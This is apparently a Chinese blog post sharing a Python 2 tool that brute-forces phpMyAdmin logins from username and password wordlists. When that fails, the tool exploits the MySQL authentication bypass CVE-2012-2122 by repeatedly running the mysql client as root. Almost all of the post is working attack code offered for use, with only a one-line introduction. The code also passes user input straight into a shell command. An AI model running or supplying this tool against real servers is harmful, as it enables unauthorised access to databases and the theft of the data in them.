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Python写的PHPMyAdmin暴力破解工具代码

yipeiwu_com7年前 (2020-03-06)Python基础

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)